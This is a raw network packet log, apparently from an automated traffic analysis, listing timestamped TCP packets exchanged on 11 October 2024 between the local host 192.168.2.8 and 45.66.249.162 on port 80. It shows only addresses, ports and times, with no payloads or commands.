Oct 11, 2024 22:32:39.857806921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857812881 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857820034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857825041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857831955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857842922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857844114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857861996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857887983 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857893944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857906103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857916117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857928038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857937098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857940912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857950926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857975006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.919636965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.919675112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.919687033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.919698000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.919722080 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.919729948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.919744968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.919750929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.919759989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.919771910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.919795036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.919814110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.920525074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.920569897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.920810938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.920824051 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.920870066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.920876026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.920975924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.920989037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921024084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.921060085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921071053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921081066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921088934 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.921092033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921103001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921108007 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.921130896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.921147108 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.921204090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921215057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921226025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921237946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921247959 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921253920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.921260118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921279907 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.921288967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921303034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921318054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.921318054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.921327114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921329021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.921338081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921345949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.921349049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921360970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921361923 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.921371937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.921385050 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.921385050 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.921459913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.981978893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982013941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982024908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982034922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982044935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982053995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982064962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982088089 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982091904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982104063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982114077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982124090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982134104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982144117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982144117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982153893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982163906 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982165098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982182026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982201099 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982234001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982248068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982259989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982270002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982273102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982280970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982281923 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982295990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982299089 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982321024 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982347965 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982394934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982408047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982418060 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982428074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982430935 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982439995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982445955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982453108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982460976 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982491016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982522964 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982533932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982557058 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982563972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982574940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982578993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982587099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982595921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982599020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982610941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982611895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982629061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982650042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982790947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982815027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982826948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982836962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982846975 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982853889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982858896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982872009 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.982877970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982896090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.982917070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983243942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983268976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983284950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983294964 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983304024 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983306885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983318090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983325005 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983329058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983340025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983340979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983354092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983364105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983366013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983381987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983405113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983406067 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983406067 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983417034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983431101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983442068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983443022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983454943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983457088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983467102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983479023 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983486891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983486891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983500004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983504057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983513117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983520985 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983525991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983541012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983549118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983561039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983563900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983563900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983572960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983597040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983597040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983611107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983623981 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983633995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983639956 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983639956 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983644962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983676910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983685970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983697891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983700037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983710051 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983720064 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983721018 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983737946 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983753920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983844995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983856916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983867884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983877897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983889103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.983891964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983906984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983922005 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.983968973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.984004021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.984133959 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.984155893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.984165907 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.984172106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.984188080 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.984201908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.984307051 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.984332085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.984344006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.984354019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.984368086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.984392881 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.009530067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009571075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009582996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009685040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.009697914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009711027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009721994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009752989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009757042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.009764910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009776115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009777069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.009788036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009799004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009809017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009821892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.009849072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.009885073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009898901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009910107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009921074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009924889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.009955883 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.009967089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009969950 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.009979963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009990931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.009999990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010000944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.010010958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010018110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.010023117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010036945 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.010059118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.010227919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010240078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010251045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010262012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010268927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.010272026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010282993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010291100 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.010294914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010304928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010313988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.010333061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.010343075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.010545015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010556936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010566950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010585070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010596037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010610104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.010623932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.010646105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.010868073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010880947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010890961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.010907888 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.010921955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.010936022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.070836067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.070909023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.070930958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.070949078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.070962906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.070972919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.070985079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.070995092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071000099 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071005106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071017027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071028948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071053982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071080923 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071120977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071150064 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071162939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071166039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071177006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071188927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071191072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071208000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071218014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071224928 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071229935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071239948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071259975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071263075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071274996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071280003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071284056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071294069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071301937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071305037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071317911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071327925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071330070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071337938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071348906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071353912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071361065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071368933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071387053 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071415901 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071506977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071517944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071536064 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071552992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071553946 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071563959 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071574926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071578026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071590900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071603060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071628094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071666002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071677923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071688890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.071700096 CEST	80	49707	45.66.249.162	192.168.2.8
